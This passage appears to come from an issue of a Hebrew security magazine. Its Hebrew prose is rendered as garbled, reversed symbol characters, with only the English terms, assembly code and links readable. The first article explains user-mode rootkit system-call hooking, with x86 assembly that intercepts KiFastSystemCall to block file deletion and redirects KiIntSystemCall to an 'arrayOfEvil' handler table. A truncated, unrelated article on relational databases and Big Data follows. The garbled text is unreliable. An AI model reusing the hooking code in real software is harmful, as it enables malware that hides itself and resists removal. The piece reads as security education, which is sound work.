1. ˟ ˫˧˷ˮ-ECX .˨˶˰ˬˢ ˸˪˥˸ˢ ˪˷ ˫ˣ˵˧ˬˢ ˸˞ 

2. .ˣˮ˪˷ ˢ˧˴ˮ˵ˣ˲ˢ ˸˞ ˠ˴˧˧ˬˢ ˞˸ˢ ˸˟ˣ˸˩ ˸˞ ˟˷˥ˮ 

3. ˟ ˫˧˷ˮ-EBX .˞˸ˢ ˭˩ˣ˸ ˸˞ 

4. .˵˧˶ ˞˸ˢ ˫˞ ˢ˵˧ˡ˟ 

5. ˪˧ˠ˶˩ ˨˧˷ˬ˸ ,˸˞ˤˢ ˢ˧˴˵ˮˣ˲˟ ˭˧˧ˮ˰ ˣˮ˪ ˭˧˞ ,˭˩ ˫˞. 

6. ˪ ˞˸ˢ ˫˞˪ ˳ˣ˲˵ ,˵˧˶ ˞-EBX ˢ ˸˟ˣ˸˩ ˸˞ ˪˧˩ˬˢ-Hook .ˣˮ˪˷ 
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 ˪˩ ˣ˧˷˩˰ ,ˢ˪ˣ˰ˬSystem Call ˪ ˞ˬˠˣˡ˩˷ ˧˸ˮ˧˧˴ .ˣˮ˪˷ ˡˣ˵ˢ ˨˶ˡ ˶ˣ˟˰˧-Hook  ,˫˧˴˟˵ ˪˷ ˢ˵˧˥ˬ ˰ˮˬˮ

.ˡ˞ˬ ˦ˣ˷˲ ˞ˣˢˣ ,˸˞ˤ ˢ˷˰˧˷ ˡˣ˵ˢ ˪˰ ˡˣ˟˰˪ ˪˧˥˸ˮ ˤ˞  ˧ˡ˧ ˪˰ ˪˪˩ ˨˶ˡ˟ ˢ˷˰˧˸ ˫˧˴˟˵ ˪˷ ˢ˵˧˥ˬ

 ˸˧˧˴˵ˮˣ˲Windows API  ˫˷˟DeleteFile ˢˤ˧˞˪ ˸ˣ˪ˠ˪ ˫˧˩˧˶˴ ˣˮ˥ˮ˞ˣ ,Native API s-DeleteFile  ˞˶˵˸

˟.ˢˬ˴˰ 

˪ ˞˶˵˸ ˞˪ ˞˧ˢ ˢ˰˸˲ˢˢ ˢ˟˶ˬ˪-NtDeleteFile  ˪˞ ˞˪˞ (˸ˬ˧˧˵ ˞˧ˢ˷ ˸ˣ˶ˬ˪)NtSetInformationFile 

:˨˩ ˸˧˞˶ˮ˷ 

NTSTATUS NtSetInformationFile (  

  IN HANDLE               FileHandle ,  

  OUT PIO_STATUS_BLOCK    IoStatusBlock ,  

  IN PVOID                FileInformation ,  

  IN ULONG                Length ,  

  IN FILE_INFORMATION_CLASS FileInformationClass  

);  

]˟ ˟ˣ˶˪ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˸ˣˡ˰ˣ˸ˬ ˞˪ ˸ˣ˧˴˵ˮˣ˲˪ ˡˣ˰˧˸-ted.ntinternals.netundocumen[. 

 ˯ˣ˲˧˦ ˞ˣˢ˷ ˧˷˧ˬ˥ˢ ˶˦ˬ˶˲ˢ ˧˲˪ ˸ˣˮˣ˷ ˸ˣ˪ˣ˰˲ ˸˰˴˟ˬ ˢ˧˴˵ˮˣ˲ˢFILE_INFORMATION_CLASS .

˧˥ˬ ˪˷ ˢ˶˵ˬ˟ ˨˶˰ˢ ˢ˧ˢ˧ ˧˷˧ˬ˥ˢ ˶˦ˬ˶˲˟ ,˳˟ˣ˵ ˸˵0xD  ˶˷˞ ˨˶˰ˢ)˸˞ ˠ˴˧˧ˬ 

FILE_DISPOSITION_INFORMATION(  ˪˞ ˰˧˟˴˧ ˧˷˧˪˷ˢ ˶˦ˬ˶˲ˢˣˢˮ˟ˬ  ˢˮ˸˷ˬˬ ˟˩˶ˣˬˢBOOLEAN 

ˣ˥ˬ˪ ˫˞ ˭˧˧˴ˬˢ ˡ˥˞:˞˪ ˣ˞ ˳˟ˣ˵ˢ ˸˞ ˵ 

newNtSetInformationFile:  

1.  Pushad 

2.  mov edi ,  [ esp + 38h]  

3.  cmp edi ,  0Dh    ;  0xD = FileDispositionInformation  

4.  jnz callRealKiFastSystemCall  

 xor edi ,  edi  

5.  mov ebx,  [ esp + 30h]   ;  EBX = ( VOID *) dispositionInfo  

6.  mov [ ebx],  dl    ;  dispositionInfo . Del eteFile  = 0 ( FALSE) 

7.  callRealKiFastSystemCall:  

8.  popad  

9.  jmp origKiFastSystemCall  

1. ˢ ˪˩ ˪˷ ˢ˶˧ˬ˷-General Purpose Registers .˸˧ˮ˯˥ˬ˟ 

2. ˪ ˯˧ˮ˩ˮ-EDI  ˦ˮˬˣˠ˶˞ˢ ˸˞FILE_INFORMATION_CLASS. 

3.  ˫˞ˢFILE_INFORMATION_CLASS  ˠˣ˯ˬ ˞ˣˢFILE_DISPOSITION_INFORMATION? 

4. ˶˟ˣˡˬ ˞˪ ,˞˪ ˫˞ .˪˧ˠ˶˩ ˨˧˷ˬ˸ ,ˢ˧˴˵ˮˣ˲ˢ ˧ˣˮ˧˷˟ ˭˧˧ˮ˰ ˣˮ˪ ˭˧˞ˣ ˳˟ˣ˵ ˪˷ ˢ˵˧˥ˬ˟ 

5. ˪ ˯˧ˮ˩ˮ-EBX ˢ ˪˞ ˰˧˴˟ˬˢ ˸˞Struct .˞˪ ˣ˞ ˳˟ˣ˵ˢ ˸˞ ˵ˣ˥ˬ˪ ˫˞ ˰˟ˣ˵˷ 

6.  ˨˶˰ˢ ˸˞ ˫˷ ˫˧˷ˮFALSE. 

7. ˢ ˸˞ ˸˧ˮ˯˥ˬˢˬ ˶˧ˤ˥ˮ-General Purpose Registers .˪˧ˠ˶ˢ ˫˟˴ˬ˪ 
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http://undocumented.ntinternals.net/source/usermode/undocumented%20functions/nt%20objects/file/file_information_class.html
http://msdn.microsoft.com/en-us/library/windows/hardware/ff545765%28v=vs.85%29.aspx
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˪ ˡˣ˵ˢ ˸˞ ˣˮ˟˸˩˷ ˧˶˥˞-Hook ˞˶˵ˮˣ ˡ˟˰ ˞ˣˢ ˫˞ ˵ˣˡ˟ˮ ˪-DeleteFile: 

push offset fileToDelete  

 call DeleteFile    ;  Will  call NtSetInformationFile  

  

 retn  

.(: ˵˥ˬˮ ˞˪ ˳˟ˣ˵ˢ˷ ˢ˞˶ˮˣ 

 ˸˞ ˶ˤ˥˷ˬˢ ˡˣ˵ˢ ˸˞ ˵˶ ˱˧˯ˣˮKiFastSystemCall ˢ ˪˩ ˣ˴˲˵˧ ˣ˧˪˞-System Calls :˱ˣ˯˟˪ 

 origKiFastSystemCall:  

  mov edx,  esp 

  dw 340fh     ;  SYSENTER 

  retn  

 

end start  

!ˣˮˬ˧˧˯ˣ 

 

'˟ ˨˶ˡ 

 ˢ˸˪˰ˣˢ ˸ˮ˧˧ˮ˰ˬ ˡ˞ˬ ˞˧ˢ ˧˩ ˢ˶˴˵˟ ˢ˧˪˰ ˶ˣ˟˰˪ ˢˣˣ˷˷ ˟˷ˣ˥ ˧ˮ˞˷ ˸˲˯ˣˮ ˢ˦˧˷˭˞˩  ˪˰ ˸˶˟ˡˬˣ

ˬ ˢ˴˧˲˵-KiFastSystemCall  ˪˞KiIntSystemCall  ˢ˪˧˩ˬˢ7 .˫˧˦˧˧˟ 

˷ ˶˧˟˯ ˞˪ˢ ˢ˶˵ˬ˟ ˢ˶˵˧ ˢˬ ˧˩ ,ˢ˧˰˟ ˭˞˩ ˢ˪ˣ˰-KiIntSystemCall ?˸˶˥˞ ˢ˧˴˵ˮˣ˲ ˧ˡ˧ ˪˰ ˞˶˵˧˸ 

  ˸ˣˡˣ˵˲˟ ˷ˬ˸˷ˢ˪ ˰˧˴ˬ ˟˸ˣ˩ˢ ˤ˞STD x-CLD ˢ ˪ˠˡ ˧ˣˮ˧˷)-Direction ˨˶ˡ ˢ˰˧ˠˢ ˢ˧˴˵ˮˣ˲ˢ ˫˞ ˭ˬ˯˪ (

˪ ˸ˣ˶˧˷˧ ˢ˞˶˵˷ ˣ˞ ˣˮ˪˷ ˡˣ˵ˢ-KiIntSystemCall˫˧˷ˮ .  ˪˷ ˭ˣ˷˞˶ˢ ˦˧˧˟˟KiIntSystemCall  ˢˡˣ˵˲ˢ ˸˞

STD ˢ ˸˞ ˵˧˪ˡ˸˷-Direction Flag ˟x-KiFastSystemCall  ˭ˣ˷˞˶ˢ ˦˧˟˟ ˫˧˷ˮCLD  ˤ˞ˣ ˪ˠˡˢ ˸˞ ˢ˵ˮ˧˷

˪ ˳ˣ˲˵ˮ-]1+KiIntSystemCallˢ ˪˰ ˠ˪ˡˮ˷ ˨˩) [-STD.( 

 ˸ˣ˞˶ˣˢˢ ˸˞ ˱˧˯ˣˢ˪ ˨˶˦˴ˮ ˵˶ ,ˣˮ˪˷ ˡˣ˵˪ ˡ˞ˬ ˢˬˣˡ ˢ˞˶˧ ˡˣ˵ˢCLD, STD ˞ ˸ˣˮ˷˪ˣ ˨˩ ˢ˴˧˲˵ˢ ˸

˪ ˳ˣ˲˵˸˷-]KiIntSystemCall+1:[ 

mov edx,  0EEBFCh  ;  0xFC = CLD,  0xEB0F JMP SHORT 0xE bytes  

mov [ eax],  edx 

lea eax ,  [ eax + 10h  ;  EAX = KiIntSystemCall  

mov dl ,  0FDh   ;  0xFD = STD 

mov [ eax],  dl  

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
http://www.malwaretech.com/2014/06/usermode-system-call-hooking-betabot.html
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ˢ ˫˞ ˫˧˴˲ˣ˵ ˣˮ˥ˮ˞ ˣ˧˪˞ ˡˣ˵˟ ˵ˣˡ˟˪ ˵˶ ˣˮ˪ ˶˞˷ˮ-Direction Flag :˞˪ ˣ˞ ˵˪ˣˡ 

1.  Pushfd  

2.  pop edx  

3.  bt edx ,  0Ah    ;  CF = DF 

4.  jc origKiIntSystemCall  

 mov ecx ,  offset arrayOfEvil  

 lea ecx ,  [ ecx + eax *  4]  

 mov edx,  [ ecx]  

 cmp edx, 0  

 jz origKiFastSystemCall  

 jmp edx  

1. ˢ ˸˞ ˱ˣ˥ˡˮ-EFLAGS .˸˧ˮ˯˥ˬ˪ 

2.  ˨ˣ˸ ˪˞ ˫˸ˣ˞ ˞˧˴ˣˮEDX. 

3. ˶˧˟˰ˮ ˢ ˸˞ ˠ˴˧˧ˬˢ) ˧˶˧˷˰ˢ ˦˧˟ˢ ˸˞-Direction Flagˢ ˪˞ (-Carry Flag. 

4. ˢ ˫˞-Carry Flag ˪ ˸ˣ˶˧˷˧ ˣ˞˶˵ ,˵ˣ˪ˡ-KiIntSystemCall˪ ˳ˣ˲˵ ,-origKiIntSystemCall. 

 

 ˞ˣˢ ˫ˠ ˞˴ˬˮ ˞˪ˬˢ ˡˣ˵ˢGit. 

 

˫ˣ˩˧˯ 

Ring3 Rootkits ˪˧˥˸ˬ ˣ˪˩ˣ˧ ˣ˴˶˧ ˶˷˞ ˰ˡ˧ˬ ˪˩˷ ˫˧˲˵ˣ˸ ˪˷ ˢˮ˟ˢˢ ˨ˣ˸ˬ ˫˧˴ˣ˲ˮ ˶˸ˣ˧ˣ ˶˸ˣ˧ ˸ˣ˧ˢ˪ ˫˧

 ˸ˣˮˣ˧˰˶ˢ .ˢ˪˰ˬ ˢˤ˩˷ ˵ˣ˯˧˰˷ ˸ˣ˧˰˟ˢ ˸˞ˣ ˶˵˧ ˭ˬˤ ˨ˣ˯˥˪ ˨˩˟ˣ ˪ˮ˶˵˟ ˢ˰˧ˠˮ ˪˷ ˨˶ˣ˴ ˧˪˟ ˫ˠ ˠ˧˷ˢ˪

 ˢ˟˧˯ ˭˧˞˷ ˸˶ˬˣ˞˷ ˫˧˯ˣ˶˧ˣˢ ˧˶˴ˣ˧ ˪˷ ˢˬˠˬˢ ˸˥˸ ˫˧˯ˮ˩ˮˣ ˞˧˪˲ˢ˪ ˫˧˧˸˶˧˴˧ ˢ˪˞ˢ ˫˧˯ˣ˶˧ˣˢ ˧˟˸ˣ˩ ˪˷

˪"˪ ˢ˷˧ˠˢ ˸˞ ˣˮ˪ ˣˬ˯˥ ˫˞ ,"˶˧˵˟ ˷˞˶ ˸˩˪-Kernel ˪ ˶ˣ˟˰ˮ ˤ˞-User Mode ˸˞ ˣˮ˪ ˣˬ˯˥ ˫˞ ,User 

Mode .˫ˡ˵ˣˬ ˶˸ˣ˧˷ ˢˬ˩ ˱˧ˡ˰ˣ ˞˟ˢ ˶˟ˡ˪ ˶ˣ˟˰ˮ ˤ˞ 

Hypervisor rootkits x-UEFI bootkits  ˟˷ˣ˥ ˧ˮ˞ˣ ˫ˡ˵˸ˬ ˢˤˢ ˫ˣ˥˸ˢ ˣ˧˪˞ ˭ˣˣ˧˩ˢ ˪˷ ˸ˣ˞ˬˠˣˡ ˵˶ ˫ˢ

 ˢˬˠˬ˪ ˢ˟ˣ˦ ˞ˬˠˣˡ ˞ˣˢ ˢˤˢ ˶ˬ˞ˬˢ˷ .ˣˮ˪ˣ˩˪ ˢ˥˪˴ˢ˟ ˤ˞ ,˸˞ˤˢ 

 ˪˧˧ˬ˪ ˪˟˵˪ ˥ˬ˷˞ ˸ˣ˶˰ˢ ˣ˞ ˸ˣ˪˞˷shahakshalev@gmail.com ˟ ˳˧˴ˢ˪ ˫˧ˮˬˤˣˬ ˫˸˞ˣ-Git  ˫˧˦˵˧ˣ˶˲˪

.˫ˢ˪ ˱˸ˣ˷ ˧ˮ˞˷ ˢ˪˞˩ˣ ˧˪˷ 

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
https://github.com/Sheksa/SystemCallHook
mailto:shahakshalev@gmail.com
https://github.com/Sheksa
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˟ ˢ˥˦˟˞ ˸ˣ˧ˠˣ˯-MongoDB 

 ˸˞ˬ5Fingers 

 

ˢˬˡ˵ˢ 

 ˷ˬ˷ˬˢ ˧˰˴ˬ˞ ˞ˣˢ ˫˧ˮˣ˸ˮ ˯˧˯˟˭ˣ˯˥˞˪  ˦ˣ˷˲ˣ ˥ˣˮ ,˪˵ ˢ˧ˢ˧ ˢ˟˷ ˢ˶ˣ˴˟ ˫˧˟˷˥ˬ˟ ˫ˢ˷˪˩ ˫˧ˮˣ˸ˮ

 ˸ˮ˷˟ .ˢˡ˧˥˞ˣ ˸ˮˠ˶ˣ˞ˬ ˢ˶ˣ˴˟ ˫˸ˣ˞ ˶ˣˬ˷˪ˣ ˪ˢˮ˪1970 ˠˡ˞ˣ˵.˲ ˶ˡ (Edgar F. Codd) ˬ˸ ˶ˠˣ˟ ˧˞˵˧˦ˬ

 ˪˷ ˶˵˥ˬˢ ˸ˡ˟˰ˬ˟ ˡ˟˰˷ ˡ˶ˣ˲˯˵ˣ˞IBM  ˧ˡ˯ˬ˟ ˭˯˥ˣ˞ˬˢ ˰ˡ˧ˬ ˨˧˞ ˢ˞˶ˬ˷ ˶ˬ˞ˬ ˫˯˶˲ ,ˢˤˣ˥ ˭˯˟

.˭˯˥ˣ˞˧ ˢ˟˷ ˨˶ˡˢ ˣ˞ ˰ˡ˧ˬˢ ˠˣ˯ ˸˞ ˰ˡ˧ ˫˧ˮˣ˸ˮˢ ˯˧˯˟˷ ˧˪˟ˬ ˶ˬ˷ˢ˪ ˪ˣ˩˧ ˫˧ˮˣ˸ˮ 

:˫˰˲ ˶ˬ˞ ˶ˠˡ˞  

ˡˣˬˢ˷ ˣ˟˷˥ ˫˧˷ˮ˞ ,˸˵ˣ˪˥ˬ˟ ˧ˣˮ˷ ˢ˪˥˸ˢˢˬ ˢ˧ˢ ˧ˮˣ˧˴˪˶ ˫˧ˮˣ˸ˮ ˯˧˯˟ ˪˷ ˪ˡˣˬˢ" ˧˧ˡˬ ˧ˮ˦˷˲ ˪

˱˞ ˞ˣˢ˷ˣ-."˫˧˟ˣ˦ ˫˧˰ˣ˴˧˟ ˭˸˧˧ ˞˪ ˫˰˲ 

 ˪˷ ˞˷ˣˮˢ ˟˧˟˯ ˤ˞˟ ˪˷ ˢˬˣ˴˰ ˸ˣˬ˩ ˢˮˣ˶˥˞˪ ˷˧BIG DATA ˫˧˶˟ˡ˟ ˶ˡ˯ ˸ˣ˷˰˪ ˢ˯ˮ˞ ˢˤ ˶ˬ˞ˬ˟ .

 ˪˷ ˫˧ˮˣ˸ˮ ˧ˡ˯ˬ ˭˧˟˪ (˫˧ˮˣ˧˴˪˶) ˫˧˧˸˶ˣ˯ˬ ˫˧ˮˣ˸ˮ ˧ˡ˯ˬ ˭˧˟ ˫˧˪ˡ˟ˢˢ ˸˞ ˶˧˟˯ˢ˪ˣBIG DATA ,

˞ˢˬ ˢˬ˩ ˠ˧˴˞ˣ ˫˧ˮˣ˸ˮˢ ˡˣ˟˧˰ ˸ˣˬ˶ˣ˲˦˪˲ˢ ˫˪ˣ˰˷ ˫˧˶ˠ˸-BIG DATA .ˣˬ˧˰ ˞˧˟ˬ 

 

 ˫˧ˮˣ˧˴˪˶ ˫˧ˮˣ˸ˮ ˧ˡ˯ˬ- ˢˤ ˢˬ? 

) ˧ˮˣ˧˴˪˶/˧˯˥˧ ˫˧ˮˣ˸ˮ ˡ˯ˬRelational Database ˪˷ ˢ˴ˣ˟˵˩ ˫˧ˮˠ˶ˣ˞ˬˢ ˫˧ˮˣ˸ˮ ˧˦˧˶˲ ˪˷ ˱˯ˣ˞ ˞ˣˢ (

 ˫˧˶˷˵ ˫˧˧˵˸ˢ˪ ˫˧˪ˣ˩˧ ˸ˣ˞˪˟˦ˢ ˭˧˟ˣ ˪˯˵˞˟ ˣˬ˩ ˷ˬˬ (˸ˣˡˣˬ˰ˣ ˸ˣ˶ˣ˷ ˫˰ ˸ˣ˥ˣ˪) "˸ˣ˞˪˟˦"

ˬ ˢˮ˩ˬ ˪˰ ˫˧˯˯˟˸ˬˢ.˸˧ˮˬˤ ˣ˟ ˸ˣ˞˪˟˦ ˢˬ˩ˬ ˫˧ˮˣ˸ˮ ˟˪˷˪ˣ ˶ˤ˥˞˪ ˣˮ˪ ˶˷˲˞˸ˬ ˨˩˟ˣ ˱˸ˣ˷ 

 ˶ˣˤ˥˞ˣ ˫˧˶ˣ˷˧˵ ,˸ˣˡˣˬ˰ ,˸ˣ˞˪˟˦ .˰ˡ˧ˬˢ ˭ˣˠ˶˞ ˶ˣ˟˰ ˸˧ˮ˟ˣˬ ˢˬ˩˯ ˫˧˶˴ˣ˧ ˫˧˧ˮˣ˧˴˪˶ˢ ˫˧ˮˣ˸ˮˢ ˧ˡ˯ˬ

˫˧ˮˣ˸ˮˢ .ˣ˸˪˧˞˷ˢ ˸˲˷˟ ˸ˣ˰˴ˬ˞˟ ˦ˣ˪˷˪ ˭˸˧ˮ ˢˤ ˪˩ ˪˰ ˸SQL  ˧ˮˣ˧˴˪˶ˢ ˫˧ˮˣ˸ˮˢ ˡ˯ˬ .ˣˮ˪ˣ˩˪ ˢ˰ˣˡ˧ˢ

ˬ ˭ˣ˶˸˲ ˞ˣˢ.˫ˣ˧ˢ ˸ˣˬ˧˧˵ˢ ˸ˣ˩˶˰ˬˢ ˸˧˟˶ˬ ˶ˣ˟˰ ˫˧ˮˣ˸ˮ ˪˷ ˶ˣˤ˥˞ˣ ˢ˶˧ˬ˷˪ ˢ˪ˣ˰ 

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
http://www-03.ibm.com/ibm/history/ibm100/us/en/icons/reldb/
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˯ˬ ˢˮˣˬ˸]' 1 :˧ˮˣ˧˴˪˶ ˫˧ˮˣ˸ˮ ˯˧˯˟ ˪˷ ˢˬˠˡˢ[ 

:ˢˮ˦˵ ˞ˬˠˣˡ ˭˪ˢ˪ ,˫ˬ˧˰ ˫˧˞˧˟ˬ ˫˧ˮˣ˧˴˪˶ˢ ˫˧ˮˣ˸ˮˢ ˧ˡ˯ˬ˷ ˸ˣ˪˧˰˧ˢ ˸˞ ˭˧˟ˢ˪ ˸ˮˬ ˪˰ 

ˢ˦˧˯˶˟˧ˮˣ˞ ˧ˬˡ˵˞ ˡ˯ˣˬ / ˪˷ ˸ˣ˪ˣˡˠ ˸ˣˬ˧˷˶ ˫˰ ˢˮ˷ ˧ˡˬ ˡˡˣˬ˸ˢ˪ ˳˪˞ˮ ˢ˪˪˩ˬ  ,˫˧˶ˣ˰˧˷ ,˫˧˦ˮˡˣ˦˯

 ˧˶ˢ ,˶˧˧ˮ ˧˲ˡ˟ ˢ˪˞ˢ ˫˧ˮˣ˸ˮˢ ˪˩ ˸˞ ˪ˢˮ˪ ˢ˦˧˯˶˟˧ˮˣ˞ˢ ˢ˴˶˸ˣ ˢˡ˧ˬ˟ .'ˣ˩ˣ ˫˧˴˶ˬ ,˫˧ˮˣ˧˴ ,˫˧ˮ˥˟ˬ

˭ˬˤˣ ,˭ˬˤ˪ ˸ˬ˶ˠˣ˸ˬ ˶˟ˡ ˪˷ ˣ˲ˣ˯˟˷ ˢˡˣ˟˰ ˪˷ ˢˬˣ˴˰ ˸ˣˬ˩˟ ˶˟ˣˡˬ˷ = ˩ ˸˞ ˪˰˧˪ ˧ˡ˩ ˤ˞ .˱˯

ˢ˪˞ˢ ˫˧ˮˣ˸ˮˢ ˪˪˩ ˸˞ ˭˯˥˞˪ ˧ˡ˩ ˧ˮˣ˧˴˪˶ ˫˧ˮˣ˸ˮ ˡ˯ˬ˟ ˷ˬ˸˷ˮ ˢˡˣ˟˰ˢ. 

 

] '˯ˬ ˢˮˣˬ˸2ˢ˦˧˯˶˟˧ˮˣ˞ˢ ˪˷ ˫˧ˮˣ˸ˮ ˡ˯ˬ ˪˷ ˢˬ˶ˠ˞˧ˡ :[ 

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
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 ˫˧˪ˣ˩˧ ˣ˧ˢ˷ ˧˲˩ ˵ˣ˧ˡ˟ ˸ˣ˞˪˟˦˟ ˸˰˩ ˫˧˪ˢˣˮˬ 'ˣ˩ˣ ˫˧ˮˣ˧˴ˢ ,˫˧˯˶ˣ˵ˢ ,˫˧˦ˮˡˣ˦˯ˢ ˧˦˶˲ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩

 ˸ˣˮˠ˶ˣ˞ˬ ˣ˪˞ˢ ˸ˣˬ˧˷˶ˢ ˪˩˷ ˵˶ ˞˪ ,˫˧ˮˣ˸ˮˢ ˡ˯ˬ ˸˶ˤ˰˟ ˣ˧˷˩˰ ˨˞ ,˪˯˵˞˟ ˫˧˪ˢˣˮˬ ˸ˣ˧ˢ˪

˞˪ˣ ˡ˥˞ ˫ˣ˵ˬ˟ ˸ˣˮ˯˥ˣ˞ˬˣ  ˣ˧˷˩˰˷ ˞˪˞ ,˶˧˧ˮ ˧˲ˡ˪ ˡˣˠ˧ˮ˟ ˢ˶˧ˢˬ ˢ˶ˣ˴˟ ˫˧ˮˣ˸ˮ ˶ˤ˥˞˪ ˫ˠ ˭˸˧ˮ˷ ˵˶

 ˸ˣ˞˪˟˦/˸ˣˬ˧˷˶ '˯ˬˬ ˫˧ˮˣ˧˶˦˧˶˵ '˯ˬ˪ ˫˧ˮˣ˰ˢ ˫˧ˮˣ˸ˮ ˶ˤ˥˞˪ˣ ˫˧ˮˣ˸ˮˢ ˪˪˩ ˭˧˟ ˢ˧˴˪˶ˣ˵ ˰˴˟˪ ˭˸˧ˮ

.˸ˣˮˣ˷ 

) ˢˡˣ˟˰˟ ˫ˣ˧ˬˣ˧ˢ ˧˧˥ˬ ˫˧˶˧˩ˬ (ˣˮ˪ˣ˩ ˞˪ ˫˞) ˣˮ˟ˣ˶˷ ˢˬ ˫ˢ ,˫˧ˮˣ˧˴˪˶ ˫˧ˮˣ˸ˮ ˧ˡ˯ˬOracle ,MS-SQL 

:ˣˮ˪ ˫˧˶˷˲˞ˬ ˫ˢ ˶˷˞˩ ('ˣ˩ˣ 

¶ ) ˸ˣ˷˧ˠˮAccessibility(˶˸ˣˬ˷ ˧ˬ˪) ˫˧ˮˣ˸ˮˢ ˪˩˪ ˢ˶˧ˢˬ ( 

¶ ) ˫˧ˮˣ˸ˮ˪ ˢ˷˧ˠˢ ˭ˣ˥˦˟Data Security( 

¶ (˭ˣ˩ˡ˰˟ ˪ˣ˟˶˯ ˸˰˧ˮˬ) ˡ˥˞ ˫ˣ˵ˬ˟ ˭ˣ˩ˡ˰ 

¶ ) ˸ˣ˧ˣ˪˧˲˩ ˸˰˧ˮˬ ,˫ˣ˵ˬ˟ ˭ˣ˩˯˥Duplications( 

¶ ) ˫˧ˮˣ˸ˮˢ ˸ˣˬ˪˷Data Integrity( 

¶ ) ˪˧˟˵ˬ˟ ˢˡˣ˟˰˪ ˸ˣ˶˷˲˞Parallel ( 

¶ ) ˶ˤˣ˟ˬ ˭˲ˣ˞˟ ˢˡˣ˟˰˪ ˸ˣ˶˷˲˞Distributed( 

¶ (ˢˮ˩ˣ˸/˫˧˵˯˧ˡ/˫˧˟˷˥ˬ/˸ˣ˶ˡˠˢ ˠˣ˶ˡ˷) ˢ˵ˣˤ˥˸˟ ˸ˣ˪˵ 

:˸ˣˮˣ˶˯˥ ˦˰ˬ ˞˪ ˫ˠ ˷˧ ˢ˪˞ˢ ˫˧ˮˣ˸ˮˢ ˧ˡ˯ˬ˪ ˨˞ 

¶ ) ˸ˣ˧˩ˣ˟˧˯Complexity(: 

Á  ˸ˣ˩˶˰ˬˢ ˧ˮ˶˴˧˷ ˢ˧˰˟- Oracle, Microsoft, IBM - .˭ˬˤˢ ˪˩ ˫˧ˡˡˣˬ˸ˬ 

¶ ) ˫˧˰ˣ˴˧˟Performance(: 

Á  ˶˵˧ ˶˧˥ˬ˧ˠˣ˪ ,˧ˤ˧˲ :˫˧ˮˣ˷ˢ ˫˧˶ˣ˞˧˸ˢ ˫˰ ˢˡˣ˟˰˪. 

Á ) ˭ˬˤ˪ ˫˧˷˧ˠ˶ ˫˧ˬˣ˷˧˧Time-Critical(. 

¶ ˸ˣ˪˰: 

Á .˱˯˩ ˭ˣˬˢ ˪˟˞ ˭ˣˬˢ ˫˧˪ˣ˰˷ ˢ˵ˣˤ˥˸ ,ˢ˰ˬ˦ˢ ,˫ˣ˷˧˧ ,ˢ˷˧˩˶ 

¶ ˢ˶ˬˣ˥ ˧˟˞˷ˬ: 

Á ˟ˣ˷˧˥ ˭ˬˤ ˢ˟˶ˢ ˫˧˷˶ˣˡ. 

Á ˵˯˧ˡˢ ˪˰ ˫˧ˮˣ˸ˮˢ ˸˵ˤ˥˞˟ ˫˧˪˧˰˧ ˡ˧ˬ˸ ˞˪. 

¶ ˶ˣˤ˥˷ ˸ˣ˟˩˶ˣˬ. 

˸˧ ˫˧ˮˣ˧˴˪˶ ˫˧ˮˣ˸ˮ ˧ˡ˯ˬ˪ ˫ˮˬ˞,˫˧˪ˣˡˠ ˸ˣˮˣ˶  ˰ˡ˧ˬˢ ˪˩ ˸˞ ˭ˠ˶˞˪ ˧ˡ˩ ˢˡˣ˟˰ ˢ˟˶ˢ ˫˧˷˶ˣˡ ˫ˢ ˨˞

.˸˶ˡˣ˯ˬ ˢ˶ˣ˴˟ ˸˲˷) ˫˩ˣ˸ˬ ˪ˣ˞˷˸˪ ˢ˦˧˷ˢ ˱˯ˣˮ˟(SQL   ˧ˡ˯ˬ˪ ˱˯ˣˮ˟ .˸˧˸ˣˡ˧ˡ˧ ˞˪ ˡˣ˞ˬ ˢ˲˷ ˞˧ˢ

 ˫˰ ˡˡˣˬ˸ˢ˪ ˢ˷˵ ˢ˪˞ˢ ˫˧ˮˣ˸ˮˢScaling ˪˷ ˫˧ˮˣ˸ˮ ˧ˡ˯ˬ .NoSQL  ˢˤ ˨˞ ˞˷ˣˮ˟ ˸ˣˬˡ˵˸ˢ ˸˴˵ ˣ˷˰

.˫˪˷ˣˬ ˞˪ ˭˧˧ˡ˰ 

http://www.digitalwhisper.co.il/
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BIG DATA - ˢˤ ˢˬ 

˪ ˸ˣ˰˴ˣˬˢ ˸ˣ˶ˡˠˢˢ ˪˩ ˭˧˟-BIG DATA ˧˸˶˟˥˸ˢ ,˸˞ˤ˪ ˶ˬˣ˞˷ ˸˧˧ˡˬ ˫˧˪ˣˡˠ ˫˧ˮˣ˸ˮˢ ˫˞˷ x ˨˶ˣ˴ ˷˧

˸ˣ˶˧ˢˬ˟ ˫ˢ˟ ˷ˬ˸˷ˢ˪ x ˧˧ˡˬ ˢ˷˵ ˫ˣ˧˩ ˫˧ˬ˧˧˵ˢ ˫˧˪˩ˢ ˫˰ ˢˡˣ˟˰ˢ ˸˶ˣ˴˸-  ˢˤBIG DATA. 

ˢˮ˧˧ˡˬ ˫˧˪ˣˡˠ ˫˧ˮˣ˸ - ˴˰ ˸ˣ˧ˣˬ˩ ˫˰ ˫˧˧ˡˣˬ˸ˬ ˫˧ˮˣˠ˶˞ ˶˸ˣ˧ˣ ˶˸ˣ˧˷ ˞˧ˢ ˶˟ˡˢ ˸ˣ˰ˬ˷ˬ ˶ˬˣ˥ ˪˷ ˸ˣˬˣ

ˢ˦˲-) ˦˧˧˟petabyte.'ˣ˩ˣ ˢ˧˶ˣ˦˯˧ˢ ˶ˣˬ˷˪ ,˸ˣ˧ˮ˷˟ ˸ˣˬˣ˶ˣˤ˷ ( 

˶˸ˣ˧ ˶ˢˬ -  'ˠˣˡ˪ ˸ˣ˶˧ˢˬ˟ ˫˧ˡ˟ˣ˰ˬ ˸ˣ˧ˢ˪ ˫˧˟˧˧˥ ˫ˠ ˫ˢ ,˫˧˪ˣˡˠ ˫˧ˮˣ˸ˮˢ˷ ˵˶ ˞˪ ˞˧ˢ ˶˟ˡˢ ˸ˣ˰ˬ˷ˬ

